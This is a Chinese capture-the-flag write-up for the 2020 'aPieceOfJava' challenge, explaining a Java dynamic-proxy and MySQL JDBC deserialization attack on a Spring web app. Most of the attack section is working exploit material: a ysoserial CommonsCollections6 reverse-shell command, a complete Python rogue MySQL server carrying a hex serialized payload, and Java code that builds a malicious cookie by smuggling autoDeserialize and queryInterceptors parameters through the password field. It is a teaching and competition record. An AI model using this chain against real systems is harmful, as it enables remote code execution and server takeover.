羊城杯2020-aPieceOfJava-wp

题目链接

考点

Java动态代理，MySQL JDBC反序列化

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Java动态代理:
https://www.jianshu.com/p/e575bba365f8
MySQL JDBC反序列化:
https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC反序列化漏洞/
ysoserial工具:
https://github.com/frohoff/ysoserial

源码分析

附件下载后用jadx打开分析 核心代码：

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gdufs.challenge.web
----controller
	----MainController.class
----invocation
	----InfoInvocationHandler.class
----model
	----Info.interface
	----DatabaseInfo.class
	----UserInfo.class

MainController

可以看到核心路由控制代码

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package gdufs.challenge.web.controller;

import gdufs.challenge.web.model.Info;
import gdufs.challenge.web.model.UserInfo;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.nibblesec.tools.SerialKiller;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/controller/MainController.class */
public class MainController {
    @GetMapping({"/index"})
    public String index(@CookieValue(value = "data", required = false) String cookieData) {
        if (cookieData != null && !cookieData.equals("")) {
            return "redirect:/hello";
        }
        return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
    }

    @PostMapping({"/index"})
    public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
        UserInfo userinfo = new UserInfo();
        userinfo.setUsername(username);
        userinfo.setPassword(password);
        Cookie cookie = new Cookie("data", serialize(userinfo));
        cookie.setMaxAge(2592000);
        response.addCookie(cookie);
        return "redirect:/hello";
    }

    @GetMapping({"/hello"})
    public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
        if (cookieData == null || cookieData.equals("")) {
            return "redirect:/index";
        }
        Info info = (Info) deserialize(cookieData);
        if (info != null) {
            model.mo6463addAttribute("info", info.getAllInfo());
            return "hello";
        }
        return "hello";
    }

    private String serialize(Object obj) {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try {
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(obj);
            oos.close();
            return new String(Base64.getEncoder().encode(baos.toByteArray()));
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    private Object deserialize(String base64data) {
        ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
        try {
            ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
            Object obj = ois.readObject();
            ois.close();
            return obj;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}

48行中有deserialize进行反序列化操作 明显应该是反序列化漏洞 但是这里72#ObjectInputStream用的是SerialKiller 

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<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <blacklist>

    </blacklist>
    <whitelist>
        <regexp>gdufs\..*</regexp>
        <regexp>java\.lang\..*</regexp>
    </whitelist>
</config>

可见只允许gdufs包或者java.lang包中的类反序列化

InfoInvocationHandler

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package gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/invocation/InfoInvocationHandler.class */
public class InfoInvocationHandler implements InvocationHandler, Serializable {
    private Info info;

    public InfoInvocationHandler(Info info) {
        this.info = info;
    }

    @Override // java.lang.reflect.InvocationHandler
    public Object invoke(Object proxy, Method method, Object[] args) {
        try {
            if (method.getName().equals("getAllInfo") && !this.info.checkAllInfo().booleanValue()) {
                return null;
            }
            return method.invoke(this.info, args);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }
}

DatabaseInfo

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package gdufs.challenge.web.model;

import java.io.Serializable;
import java.sql.Connection;
import java.sql.DriverManager;

/* loaded from: web-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/gdufs/challenge/web/model/DatabaseInfo.class */
public class DatabaseInfo implements Serializable, Info {
    private String host;
    private String port;
    private String username;
    private String password;
    private Connection connection;
	// ...
    public Connection getConnection() {
        if (this.connection == null) {
            connect();
        }
        return this.connection;
    }

    private void connect() {
        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
        try {
            this.connection = DriverManager.getConnection(url);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override // gdufs.challenge.web.model.Info
    public Boolean checkAllInfo() {
        if (this.host == null || this.port == null || this.username == null || this.password == null) {
            return false;
        }
        if (this.connection == null) {
            connect();
        }
        return true;
    }

    @Override // gdufs.challenge.web.model.Info
    public String getAllInfo() {
        return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
    }
}

其中connect方法存在有MySQL JDBC反序列化漏洞 并且直接拼接可控username和password

想要执行到connect方法 追踪调用链有

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DatabaseInfo.connect()
	DatabaseInfo.checkAllInfo()
		InfoInvocationHandler.invoke()
			info.getAllInfo()
				MainController.hello()

攻击

大致攻击思路为：vps上启动恶意mysql server —> 构造序列化base64串并通过cookie传递 —> 反序列化后发起请求 —> vps回弹恶意包 —> 执行命令

mysql server

首先用ysoserial生成payload

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java -jar ysoserial-all.jar CommonsCollections6 'bash -c {echo,base64here}|{base64,-d}|{bash,-i}' > payload

启动server.py 

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# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3307

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

构造序列化cookie

注意包结构名称什么的要和附件相同

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package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import org.nibblesec.tools.SerialKiller;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        serialize();
    }

    public static void serialize() throws Exception {
        DatabaseInfo d = new DatabaseInfo();
        d.setHost("x.x.x.x");
        d.setPort("3307");
        d.setUsername("root");
        d.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

        InfoInvocationHandler ii = new InfoInvocationHandler(d);
        Info i = (Info) Proxy.newProxyInstance(d.getClass().getClassLoader(), d.getClass().getInterfaces(), ii);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(i);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

    }
}

获取反弹shell

开启端口监听

burp抓包改cookie为data={bas64 above} 发送

回显Hello, Here is the configuration of database, host is xxxx, port is 3307, username is root, password is....

获得反弹shell

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